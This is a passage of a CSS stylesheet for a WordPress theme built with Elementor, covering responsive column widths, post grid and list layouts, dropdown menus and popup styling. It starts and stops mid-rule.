	.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3 {
		width: 29.06%
	}
	.layout-14_14_12 .penci-main-content,
	.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-50.penci-ercol-order-3,
	.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-50.penci-ercol-order-1,
	.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2 {
		width: 70.94%
	}
	.container.two-sidebar #main,
	.layout-12_14_14 .penci-main-content,
	.layout-14_12_14 .penci-main-content {
		padding-left: 0;
		width: 70.94%
	}
}
@media only screen and (max-width:1200px) and (min-width:768px) {
	.penci-repons-elsection.penci-structure-34 .elementor-row {
		-webkit-flex-wrap: wrap;
		-ms-flex-wrap: wrap;
		flex-wrap: wrap
	}
	.penci-repons-elsection.penci-structure-34 .elementor-column.elementor-col-16.penci-ercol-order-1,
	.penci-repons-elsection.penci-structure-34 .elementor-column.elementor-col-16.penci-ercol-order-3 {
		width: 50%
	}
	.penci-repons-elsection.penci-structure-34 .elementor-column.elementor-col-66.penci-ercol-order-2 {
		width: 100%;
		order: 1
	}
	.penci-repons-elsection.penci-structure-34 .elementor-column.elementor-col-16.penci-ercol-order-3 {
		order: 3
	}
	.penci-repons-elsection.penci-structure-34 .elementor-column.elementor-col-16.penci-ercol-order-1 {
		order: 2
	}
}
@media only screen and (max-width:1400px) {
	.penci-repons-elsection.penci-structure-50 .elementor-row,
	.penci-repons-elsection.penci-structure-60 .elementor-row {
		-webkit-flex-wrap: wrap;
		-ms-flex-wrap: wrap;
		flex-wrap: wrap
	}
	.penci-repons-elsection.penci-structure-50 .elementor-column.penci-ercol-20,
	.penci-repons-elsection.penci-structure-60 .elementor-column.penci-ercol-16 {
		width: 33.3333%
	}
}
@media only screen and (max-width:1170px) {
	.penci-repons-elsection.penci-structure-40 .elementor-row {
		-webkit-flex-wrap: wrap;
		-ms-flex-wrap: wrap;
		flex-wrap: wrap
	}
	.penci-repons-elsection.penci-structure-40 .elementor-column.penci-ercol-25,
	.penci-repons-elsection.penci-structure-50 .elementor-column.penci-ercol-20,
	.penci-repons-elsection.penci-structure-60 .elementor-column.penci-ercol-16 {
		width: 50%
	}
}
@media only screen and (max-width:960px) {
	.container.two-sidebar #main,
	.container.two-sidebar .penci-sidebar-content {
		width: 100%
	}
	.container.two-sidebar #main {
		order: 1
	}
	.penci-vc-row .penci-vc-column {
		width: 100%;
		padding-left: 10px;
		padding-right: 10px
	}
	.penci-countdown-show5 .penci-countdown-section,
	.penci-countdown-show6 .penci-countdown-section,
	.penci-countdown-show7 .penci-countdown-section {
		width: 33.33333%
	}
	.penci-image-gallery-s2 .penci-galitem-1 {
		width: 100%;
		float: left
	}
	.penci-image-gallery-s2 .penci-post-smalls {
		width: 100%
	}
	.penci-image-gallery-s2 .penci-post-smalls .penci-gallery-item {
		width: 50%;
		float: left
	}
	.penci-video_playlist .penci-video-nav,
	.penci-video_playlist .penci-video-play {
		width: 100%;
		float: none;
		position: relative
	}
	.penci-video_playlist .penci-video-nav .playlist-panel-item {
		position: absolute;
		bottom: 0;
		left: 0;
		font-size: 10px;
		width: 20px;
		height: 20px;
		text-align: center;
		vertical-align: middle;
		line-height: 20px;
		z-index: 10;
		background: #111;
		color: #fff
	}
	.penci-repons-elsection.penci-structure-21 .elementor-row,
	.penci-repons-elsection.penci-structure-22 .elementor-row,
	.penci-repons-elsection.penci-structure-30 .elementor-row {
		-webkit-flex-wrap: wrap;
		-ms-flex-wrap: wrap;
		flex-wrap: wrap
	}
	.penci-repons-elsection.penci-structure-21 .elementor-column.penci-ercol-33,
	.penci-repons-elsection.penci-structure-21 .elementor-column.penci-ercol-66,
	.penci-repons-elsection.penci-structure-22 .elementor-column.penci-ercol-33,
	.penci-repons-elsection.penci-structure-22 .elementor-column.penci-ercol-66,
	.penci-repons-elsection.penci-structure-30 .elementor-column.penci-ercol-33 {
		width: 100%
	}
	.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-25.penci-ercol-order-1,
	.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-25.penci-ercol-order-2,
	.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1 {
		display: block;
		width: 50%
	}
	.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-25.penci-ercol-order-2,
	.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-25.penci-ercol-order-3,
	.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3 {
		width: 50%
	}
	.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-50.penci-ercol-order-3,
	.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-50.penci-ercol-order-1,
	.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2 {
		width: 100%
	}
	.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1,
	.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3 {
		order: 2
	}
	.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2 {
		order: 1
	}
	.footer-subscribe .mc4wp-form .mdes {
		width: 100%;
		text-align: center;
		margin-left: 0
	}
}
@media only screen and (max-width:767px) {
	#main .penci-repons-elsection .elementor-column {
		width: 100% !important
	}
	#main .penci-repons-elsection .elementor-column:not(:last-child) {
		margin-bottom: 20px
	}
	.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-col-16+.elementor-column.elementor-col-66>.elementor-element-populated,
	.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-col-25+.elementor-col-25+.elementor-col-50>.elementor-element-populated,
	.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-col-50+.elementor-col-25+.elementor-col-25>.elementor-element-populated,
	.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-col-50+.elementor-col-25>.elementor-element-populated,
	.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column.elementor-col-25+.elementor-column.elementor-col-50>.elementor-element-populated,
	.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column.elementor-col-33+.elementor-column.elementor-col-66>.elementor-element-populated,
	.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column.elementor-col-66>.elementor-element-populated,
	.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column[data-col="16"]+.elementor-column[data-col="66"]>.elementor-element-populated,
	.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column[data-col="25"]+.elementor-column[data-col="25"]+.elementor-column[data-col="50"]>.elementor-element-populated,
	.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column[data-col="25"]+.elementor-column[data-col="50"]>.elementor-element-populated,
	.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column[data-col="33"]+.elementor-column[data-col="66"]>.elementor-element-populated,
	.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column[data-col="50"]+.elementor-column[data-col="25"]+.elementor-column[data-col="25"]>.elementor-element-populated,
	.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column[data-col="50"]+.elementor-column[data-col="25"]>.elementor-element-populated,
	.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column[data-col="66"]>.elementor-element-populated {
		padding-left: 10px;
		padding-right: 10px
	}
	.penci-countdown-show4 .penci-countdown-section,
	.penci-countdown-show5 .penci-countdown-section,
	.penci-countdown-show6 .penci-countdown-section,
	.penci-countdown-show7 .penci-countdown-section {
		width: 50%
	}
	.penci-con_sb1_sb2.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3,
	.penci-con_sb2_sb1.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1,
	.penci-sb1_con_sb2.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2,
	.penci-sb1_sb2_con.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1,
	.penci-sb2_con_sb1.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2,
	.penci-sb2_sb1_con.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3 {
		order: 2
	}
	.penci-con_sb1_sb2.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1,
	.penci-con_sb2_sb1.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3,
	.penci-sb1_con_sb2.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1,
	.penci-sb1_sb2_con.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2,
	.penci-sb2_con_sb1.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3,
	.penci-sb2_sb1_con.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2 {
		order: 3
	}
	.penci-con_sb1_sb2.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2,
	.penci-con_sb2_sb1.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2,
	.penci-sb1_con_sb2.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3,
	.penci-sb1_sb2_con.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3,
	.penci-sb2_con_sb1.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1,
	.penci-sb2_sb1_con.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1 {
		order: 1
	}
	.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-25.penci-ercol-order-1,
	.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-25.penci-ercol-order-2,
	.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-25.penci-ercol-order-2,
	.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-25.penci-ercol-order-3,
	.penci-repons-elsection.penci-structure-40 .elementor-column.penci-ercol-25,
	.penci-repons-elsection.penci-structure-50 .elementor-column.penci-ercol-20,
	.penci-repons-elsection.penci-structure-60 .elementor-column.penci-ercol-16 {
		width: 100%
	}
	.penci-top-bar .pctopbar-item.penci-topbar-trending {
		display: none;
		padding: 0 10px
	}
}
@media only screen and (max-width:480px) {
	.penci-image-gallery-s2 .penci-post-smalls .penci-gallery-item {
		width: 100%;
		float: left
	}
	.penci-image-gallery-s3 .penci-gallery-big-item,
	.penci-image-gallery-s3 .penci-gallery-small-item,
	.penci-image-gallery-s4 .penci-gallery-big-item,
	.penci-image-gallery-s4 .penci-gallery-small-item {
		width: 100%;
		float: none
	}
}
.penci-grid .pc-hasmorepost,
.penci-grid .pc-nomorepost {
	display: none
}
.penci-grid[data-layout=grid-boxed-2] li .item,
.penci-grid[data-layout=grid-boxed] li .item {
	border: 1px solid var(--pcborder-cl);
	padding: 20px;
	height: 100%
}
.penci-grid[data-layout=grid-boxed-2] li .item {
	padding-bottom: 0
}
.penci-grid[data-layout=grid-boxed-2] li .item>.thumbnail,
.penci-grid[data-layout=grid-boxed] li .item>.thumbnail {
	margin-left: -21px;
	margin-right: -21px;
	margin-top: -21px;
	display: block;
	width: calc(100% + 42px)
}
.penci-grid[data-layout=grid-boxed-2] li .item {
	display: flex;
	flex-wrap: wrap
}
.penci-grid[data-layout=grid-boxed-2] li .item>div {
	order: 1;
	width: 100%
}
.penci-grid[data-layout=grid-boxed-2] li .item>.thumbnail {
	order: 2;
	margin-bottom: 0;
	margin-top: 0;
	align-content: end
}
.penci-grid[data-layout=grid-boxed-2] li .item>.item-content {
	margin-bottom: 30px
}
.penci-grid[data-layout=list-boxed-2] li.list-post,
.penci-grid[data-layout=list-boxed] li.list-post {
	padding-bottom: 0;
	border-bottom: 0
}
.penci-grid[data-layout=list-boxed-2] li.list-post .item,
.penci-grid[data-layout=list-boxed] li.list-post .item {
	border: 1px solid var(--pcborder-cl);
	padding: 20px;
	display: flex;
	flex-wrap: wrap
}
.penci-grid[data-layout=list-boxed] li.list-post .item {
	padding-left: 0;
	border-left: 0
}
.penci-grid[data-layout=list-boxed-2] li.list-post .item {
	padding-right: 0;
	border-right: 0
}
.penci-grid[data-layout=list-boxed-2] li.list-post .item>.thumbnail,
.penci-grid[data-layout=list-boxed] li.list-post .item>.thumbnail {
	margin-top: -21px;
	margin-bottom: -21px
}
.penci-grid[data-layout=list-boxed-2] li.list-post .item>.thumbnail .penci-image-holder,
.penci-grid[data-layout=list-boxed] li.list-post .item>.thumbnail .penci-image-holder {
	height: 100%
}
.penci-grid[data-layout=list-boxed-2] li.list-post .item>div {
	order: 1
}
.penci-grid[data-layout=list-boxed-2] li.list-post .item>.thumbnail {
	order: 2;
	margin-left: 0
}
.penci-grid[data-layout=list-boxed-2] li.list-post .item .content-list-right {
	padding-right: 30px;
	padding-left: 0
}
.penci-grid[data-layout="grid-boxed-3"] li .item {
	--pcheading-cl: #fff;
	--pcmeta-cl: #fff;
	padding: 20px;
	background: var(--pctext-cl);
	color: var(--pcbg-cl);
	position: relative;
	margin-left: 15px;
}
.penci-grid[data-layout="grid-boxed-3"] li.pchide-cat .item {
	margin-left: 0;
}
.penci-grid[data-layout="grid-boxed-3"] li .item .grid-header-box {
	position: static;
}
.penci-grid[data-layout="grid-boxed-3"] li .item .cat {
	position: absolute;
	top: 0;
	left: 0;
	transform: translate(calc(0px - 50% - 18px), 80px) rotate(-90deg);
	width: 100%;
	max-width: 170px;
	align-items: flex-start;
	justify-content: flex-end;
	display: flex;
	margin: 0;
}
.penci-grid[data-layout="grid-boxed-3"] li .item .cat a {
	margin-bottom: 0;
	font-weight: var(--pchead-wei);
}
.penci-grid[data-layout="grid-boxed-3"] li .item .grid-post-box-meta span {
	color: var(--pcmeta-cl);
	opacity: 0.5;
}
.penci-grid[data-layout="grid-boxed-3"] li .item .grid-post-box-meta span a {
	color: var(--pcmeta-cl);
}
.penci-grid[data-layout="grid-boxed-3"] .grid-header-box:after,
.penci-grid[data-layout="grid-boxed-3"]
	.penci-post-box-meta.penci-post-box-grid:before {
	display: none;
}
.penci-grid[data-layout="grid-boxed-3"]
	.penci-post-box-meta.penci-post-box-grid {
	background: rgba(255, 255, 255, 0.1);
	padding: 20px;
	margin: 20px -20px -20px;
}
.penci-grid[data-layout="grid-boxed-3"]
	.penci-post-box-meta.penci-post-box-grid
	.penci-post-share-box {
	background: transparent;
}
.penci-grid[data-layout="grid-boxed-3"]
	.penci-post-box-meta.penci-post-box-grid
	.penci-post-share-box
	a {
	color: var(--pcmeta-cl);
}
.grid-boxed-4-item {
	box-shadow: 0 5px 15px rgba(0, 0, 0, 0.09)
}
.grid-boxed-4-item .item-content {
	padding-left: 20px;
	padding-right: 20px;
}
.grid-boxed-4-item .grid-header-box {
	padding: 20px;
}
.penci-grid li.grid-boxed-4-item .item .item-content {
	padding-bottom: 0;
	padding-top: 0;
}
.grid-boxed-4-item .grid-header-box {
	--mask:
	  radial-gradient(8.41px at 50% calc(100% - 11.4px),#000 99%,#0000 101%) calc(50% - 8px) 0/16px 100%,
	  radial-gradient(8.41px at 50% calc(100% + 7.4px),#0000 99%,#000 101%) 50% calc(100% - 4px)/16px 100% repeat-x;
	-webkit-mask: var(--mask);
	mask: var(--mask);
	background: #f1f1f1;
}
.penci-grid li.grid-boxed-4-item .item > .thumbnail {
	margin-bottom: 0;
}  
.grid-boxed-4-item .grid-header-box {
	text-align: left;
}
.grid-boxed-4-item .penci-btn-readmore {
	padding: 12px 20px;
}
.grid-boxed-4-item .penci-post-box-meta:before {
	display: none;
}
.grid-boxed-4-item .penci-post-box-meta {
	padding: 10px 0;
	border-top: 1px dotted var(--pcborder-cl) !important;
}
.grid-boxed-4-item .item {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	height: 100%;
}
.grid-boxed-4-item .penci-readmore-btn,
.grid-boxed-4-item .penci-post-box-meta {
	flex: 100%;
}
.grid-boxed-4-item .penci-post-box-meta {
	align-self: end;
}
.penci-grid4-date {
	position: absolute;
	bottom: 0;
  	left: 0;
	z-index: 2;
	color: #fff;
	background: var(--pcaccent-cl);
	padding-right: 10px;
	text-transform: uppercase;
	font-size: 12px;
}
.penci-grid4-date span {
	display: inline-block;
	padding: 5px 10px;
	background: #000;
	margin-right: 10px;
	font-size: 18px;
	vertical-align: middle;
}
@media only screen and (min-width:961px) {
	.container.penci_sidebar .penci-grid[data-cols="2"]>li,
	.penci-grid[data-cols="2"]>li {
		width: calc((100% - var(--pcrgap))/ 2);
		margin-bottom: 40px
	}
	.container.penci_sidebar .penci-grid[data-cols="3"]>li,
	.penci-grid[data-cols="3"]>li {
		width: calc((100% - var(--pcrgap) * 2)/ 3);
		margin-bottom: 40px
	}
	.container.penci_sidebar .penci-grid[data-cols="4"]>li,
	.penci-grid[data-cols="4"]>li {
		width: calc((100% - var(--pcrgap) * 3)/ 4);
		margin-bottom: 40px
	}
	.container.penci_sidebar .penci-grid[data-cols="5"]>li,
	.penci-grid[data-cols="5"]>li {
		width: calc((100% - var(--pcrgap) * 4)/ 5);
		margin-bottom: 40px
	}
}
@media only screen and (min-width:961px) and (max-width:1169px) {
	.container .penci-grid[data-cols="4"]>li,
	.container .penci-grid[data-cols="5"]>li {
		width: calc((100% - var(--pcrgap) * 2)/ 3);
		margin-bottom: 40px
	}
	.container.penci_sidebar .penci-grid[data-cols="4"]>li,
	.container.penci_sidebar .penci-grid[data-cols="5"]>li {
		width: calc((100% - var(--pcrgap))/ 2);
		margin-bottom: 40px
	}
}
@media only screen and (max-width:961px) {
	.container.penci_sidebar .penci-grid[data-cols="1"]>li,
	.penci-grid[data-cols="1"]>li {
		width: 100%
	}
	.container.penci_sidebar .penci-grid[data-cols="2"]>li,
	.penci-grid[data-cols="2"]>li {
		width: calc((100% - var(--pcrgap))/ 2)
	}
}
@media only screen and (min-width:768px) and (max-width:1024px) {
	.container.penci_sidebar .penci-grid[data-tcols="1"]>li,
	.penci-grid[data-tcols="1"]>li {
		width: 100% !important
	}
	.container.penci_sidebar .penci-grid[data-tcols="2"]>li,
	.penci-grid[data-tcols="2"]>li {
		width: calc((100% - var(--pcrgap))/ 2) !important
	}
	.container.penci_sidebar .penci-grid[data-tcols="3"]>li,
	.penci-grid[data-tcols="3"]>li {
		width: calc((100% - var(--pcrgap) * 2)/ 3) !important
	}
	.container.penci_sidebar .penci-grid[data-tcols="4"]>li,
	.penci-grid[data-tcols="4"]>li {
		width: calc((100% - var(--pcrgap) * 3)/ 4) !important
	}
	.container.penci_sidebar .penci-masonry[data-cols="3"] .item-masonry,
	.container.penci_sidebar .penci-masonry[data-cols="4"] .item-masonry,
	.container.penci_sidebar .penci-masonry[data-cols="5"] .item-masonry,
	.penci-masonry[data-cols="3"] .item-masonry,
	.penci-masonry[data-cols="4"] .item-masonry,
	.penci-masonry[data-cols="5"] .item-masonry {
		width: 50%
	}
	.penci-masonry[data-tcols="1"] .item-masonry {
		width: 100% !important
	}
	.penci-masonry[data-tcols="2"] .item-masonry {
		width: 50% !important
	}
	.penci-masonry[data-tcols="3"] .item-masonry {
		width: calc(100% / 3) !important
	}
}
@media only screen and (max-width:767px) {
	.penci-grid[data-layout=list-boxed] li.list-post .item .content-list-right {
		border: 1px solid var(--pcborder-cl);
		padding: 20px;
		border-top: 0
	}
	.penci-grid[data-layout=list-boxed] li.list-post .item>.thumbnail {
		margin-top: 0;
		margin-bottom: 0
	}
	.penci-grid[data-layout=list-boxed] li.list-post .item {
		border: 0;
		padding: 0
	}
	.penci-grid[data-layout=list-boxed-2] li.list-post .item .content-list-right {
		border: 1px solid var(--pcborder-cl);
		padding: 20px;
		border-bottom: 0
	}
	.penci-grid[data-layout=list-boxed-2] li.list-post .item>.thumbnail {
		margin-top: 0;
		margin-bottom: 0
	}
	.penci-grid[data-layout=list-boxed-2] li.list-post .item {
		border: 0;
		padding: 0
	}
	ul.penci-grid {
		--pcrgap: 20px
	}
}
.menu-item-has-label .menu-label {
	font-size: 9px;
	font-weight: 600;
	line-height: 12px;
	position: absolute;
	z-index: 1;
	top: calc(50% - 25px);
	left: 100%;
	display: inline-block;
	margin-left: -20px;
	padding: 2px 4px;
	vertical-align: middle;
	white-space: nowrap;
	letter-spacing: .3px;
	text-transform: uppercase;
	color: #fff;
	background-color: var(--pcaccent-cl)
}
#sidebar-nav .menu-item-has-label .menu-label,
.pc-dropdown-menu .menu-item-has-label .menu-label,
.penci-menu-hbg .menu-item-has-label .menu-label {
	left: auto
}
.menu-item-has-label .menu-label.label-style-1:before,
.menu-item-has-label .menu-label.label-style-2:before {
	position: absolute;
	top: 100%;
	left: 10px;
	content: "";
	border: 4px solid;
	border-color: var(--pcaccent-cl);
	border-right-width: 7px;
	border-right-color: transparent !important;
	border-bottom-color: transparent !important;
	border-left-width: 0
}
.menu-item-has-label .menu-label.label-style-2:before {
	left: 0
}
.menu-item-has-label .menu-label.label-style-4:before {
	position: absolute;
	right: 50%;
	bottom: -4px;
	left: 50%;
	margin-left: -4px;
	content: "";
	border-width: 4px 4px 0 4px;
	border-style: solid;
	border-color: var(--pcaccent-cl);
	border-right-color: transparent !important;
	border-bottom-color: transparent !important;
	border-left-color: transparent !important
}
.penci-mega-content-container {
	text-align: initial
}
.desktop-meta-bg-hidden {
	display: none
}
@media only screen and (min-width:767px) and (max-width:1169px) {
	.tablet-meta-bg-hidden {
		display: none
	}
}
@media only screen and (max-width:767px) {
	.mobile-meta-bg-hidden {
		display: none
	}
}
.biggrid-archive-wrapper .grid-post-box-meta {
	overflow: hidden
}
.featured-list-title {
	margin-bottom: 30px
}
.penci-dropdown-menu {
	position: absolute;
	visibility: hidden;
	opacity: 0;
	z-index: 9999;
	box-shadow: 0 3px 3px rgba(190, 190, 190, .6);
	-webkit-box-shadow: 0 3px 3px rgba(190, 190, 190, .6);
	-moz-box-shadow: 0 3px 3px rgba(190, 190, 190, .6);
	border-top: 1px solid #ececec;
	margin-top: 0;
	background-color: #fff;
	background-size: cover;
	background-repeat: no-repeat;
	background-position: center center
}
.penci-dropdown-menu.penci-mega-full-width {
	left: 0
}
.penci-dropdown-menu.penci-mega-custom-width {
	left: auto;
	right: auto
}
#navigation .penci-dropdown-menu.penci-mega-custom-width .container,
.navigation .penci-dropdown-menu.penci-mega-custom-width .container {
	display: block
}
.penci-dropdown-menu .post-entry {
	line-height: unset;
	margin-bottom: 0
}
#navigation .penci-dropdown-menu,
.navigation .penci-dropdown-menu {
	max-width: 100vw;
	display: none
}
#navigation .penci-dropdown-menu .container,
#navigation .penci-dropdown-menu .penci-megamenu,
.navigation .penci-dropdown-menu .container,
.navigation .penci-dropdown-menu .penci-megamenu {
	display: block
}
#navigation .penci-mega-custom-width .container,
.navigation .penci-mega-custom-width .container {
	width: 100%
}
.penci-dropdown-menu.loading {
	min-height: 150px
}
.penci-dropdown-menu:before,
.penci-megamenu:before {
	opacity: 0;
	background-color: inherit;
	transition: all .2s ease;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	content: "";
	position: absolute;
	min-height: 0
}
.penci-dropdown-menu.loading:before,
.penci-megamenu.loading:before {
	opacity: 1;
	z-index: 8
}
.penci-dropdown-menu:after,
.penci-megamenu:after {
	opacity: 0;
	transition: opacity .2s ease;
	content: "";
	display: inline-block;
	border: 1px solid #bbb;
	border-left-color: #000;
	border-top-color: #000;
	border-radius: 50%;
	vertical-align: middle;
	position: absolute;
	top: 50%;
	left: 50%;
	margin-top: -12px;
	margin-left: -12px;
	width: 24px;
	height: 24px
}
@keyframes penci-menu-rotate {
	100% {
		transform: rotate(360deg)
	}
}
.penci-dropdown-menu.loading:after,
.penci-megamenu.loading:after {
	opacity: 1;
	z-index: 9;
	animation: penci-menu-rotate .35s infinite linear
}
.button-popup-content,
.penci-age-verify,
.penci-epopup-content,
.penci-popup-content {
	position: relative;
	width: 100%;
	max-width: 650px;
	margin-right: auto;
	margin-left: auto;
	background-color: #fff;
	padding: 40px;
	text-align: center;
	display: none
}
.mfp-wrap .button-popup-content,
.mfp-wrap .penci-age-verify,
.mfp-wrap .penci-epopup-content,
.mfp-wrap .penci-popup-content {
	display: block
}
.penci-age-verify .penci-age-verify-buttons {
	margin-top: 30px
}
.penci-age-verify .penci-age-verify-buttons .button {
	display: inline-block;
	padding: 0 15px;
	line-height: 35px;
	background-color: var(--pcaccent-cl);
	color: #fff;
	text-transform: uppercase;
	font-weight: var(--pchead-wei);
	transition: .3s all ease-in-out
}
.penci-age-verify .penci-age-verify-buttons .button.penci-age-verify-forbidden {
	color: var(--pctext-cl);
	background-color: #f1f1f1
}
.penci-age-verify .penci-age-verify-buttons .button:hover {
	opacity: .8
}
.penci-age-verify.penci-forbidden .penci-age-verify-buttons,
.penci-age-verify.penci-forbidden .penci-age-verify-text {
	display: none
}
.pc-fho-wrap {
	position: relative;
	--gap: 20px;
	--vgap: 20px;
	--maingap: 30px;
	--iconw: 25%;
	--iconsz: 150px;
	--iconbd: 5px;
	--obg: rgba(0, 0, 0, 0.5);
	--ohbg: rgba(0, 0, 0, 0.8);
	--sobg: rgba(0, 0, 0, 0);
	--sohbg: rgba(0, 0, 0, 0.5);
	z-index: 1;
	max-width: 100%;
	margin-left: auto;
	margin-right: auto
}
.pc-fho-wrap .mp-link {
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	position: absolute;
	background-size: cover;
	z-index: 1;
	display: block;
	text-indent: -99999999px
}
.pc-fho-wrap .mp-link:not(.penci-lazy) {
	background-color: rgba(0, 0, 0, .5)
}
.pc-fho-container {
	width: 100%;
	margin-left: auto;
	margin-right: auto;
	max-width: var(--pcctain)
}
.pc-fho-wrap .mp-link:before {
	content: "";
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	position: absolute;
	background-color: var(--obg);
	z-index: 2;
	transition: .3s background-color ease-in-out
}
.pc-fho-wrap .mp-link:hover:before {
	background-color: var(--ohbg)
}
.pc-fho-wrap .pc-fho-mpct {
	position: relative;
	z-index: 2
}
.pc-fho-wrap .pc-fho-mpct:hover~.mp-link:before {
	background-color: var(--ohbg)
}
.pc-fho-wrap .pc-fho-bg-wrap {
	padding: 60px
}
.pc-fho-wrap .pc-fho-mpct {
	margin-left: calc(var(--maingap)/ 2 * -1);
	margin-right: calc(var(--maingap)/ 2 * -1);
	display: flex;
	display: -webkit-flex;
	display: -ms-flexbox;
	-webkit-flex-flow: row wrap;
	flex-flow: row wrap;
	align-items: center
}
.pc-fho-wrap .pc-fho-mpct .pc-fho-mc,
.pc-fho-wrap .pc-fho-mpct .pc-fho-mi {
	padding-left: calc(var(--maingap)/ 2);
	padding-right: calc(var(--maingap)/ 2)
}
.pc-fho-wrap .pc-fho-mpct .pc-fho-mi {
	flex: 0 0 var(--iconw);
	align-items: center;
	display: flex
}
.pc-fho-wrap .pc-fho-mpct .pc-fho-mc {
	flex: 0 0 calc(100% - var(--iconw))
}
.pc-fho-wrap .pc-fho-mpct .pc-fho-mc.bct-fullwidth {
	flex: 0 0 100% !important
}
.pc-fho-wrap .pc-fho-mc .pc-fho-mt h3 {
	font-size: 55px;
	line-height: 1.1;
	margin-bottom: 0
}
.pc-fho-wrap .pc-fho-mc .pc-fho-mm a,
.pc-fho-wrap .pc-fho-mc .pc-fho-mt a {
	color: #fff;
	text-decoration: none
}
.pc-fho-wrap .pc-fho-mi-i {
	max-width: var(--iconsz);
	height: var(--iconsz);
	border: var(--iconbd) solid #fff;
	background: rgba(0, 0, 0, .1);
	color: #fff;
	border-radius: 50%;
	text-align: center;
	width: 100%
}
.pc-fho-wrap .pc-fho-mi-i a {
	color: inherit
}
.pc-fho-wrap .pc-fho-mi-i i {
	font-size: 70px;
	line-height: calc(var(--iconsz) - (var(--iconbd) * 2))
}
.pc-fho-wrap .pc-fho-msli {
	margin-left: calc(var(--gap)/ 2 * -1);
	margin-right: calc(var(--gap)/ 2 * -1);
	margin-top: 60px
}
.pc-fho-wrap .pc-fho-msli .pc-fho-msli-inner-ct {
	display: flex;
	display: -webkit-flex;
	display: -ms-flexbox;
	-webkit-flex-flow: row wrap;
	flex-flow: row wrap;
	align-items: flex-start;
	overflow: hidden
}
.pc-fho-wrap .pc-fho-msli .pc-fho-li {
	position: relative;
	z-index: 3;
	padding-left: calc(var(--gap)/ 2);
	padding-right: calc(var(--gap)/ 2)
}
.pc-fho-msli-inner-ct:not(.penci-owl-carousel) .pc-fho-li {
	margin-bottom: var(--vgap)
}
.pc-fho-wrap .pc-fho-msli.columns-1 .pc-fho-li {
	flex: 0 0 100%
}
.pc-fho-wrap .pc-fho-msli.columns-2 .pc-fho-li {
	flex: 0 0 50%
}
.pc-fho-wrap .pc-fho-msli.columns-3 .pc-fho-li {
	flex: 0 0 33.3333333333%
}
.pc-fho-wrap .pc-fho-msli.columns-4 .pc-fho-li {
	flex: 0 0 25%
}
.pc-fho-wrap .pc-fho-msli.columns-5 .pc-fho-li {
	flex: 0 0 20%
}
.pc-fho-wrap .pc-fho-msli.columns-6 .pc-fho-li {
	flex: 0 0 16.6666666667%
}
.pc-fho-msli-inner-ct>.pc-fho-li:last-child {
	margin-bottom: 0 !important
}
@media only screen and (min-width:1170px) {
	.pc-fho-msli.columns-2 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),
	.pc-fho-msli.columns-3 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),
	.pc-fho-msli.columns-3 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(3),
	.pc-fho-msli.columns-4 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),
	.pc-fho-msli.columns-4 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(3),
	.pc-fho-msli.columns-4 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(4),
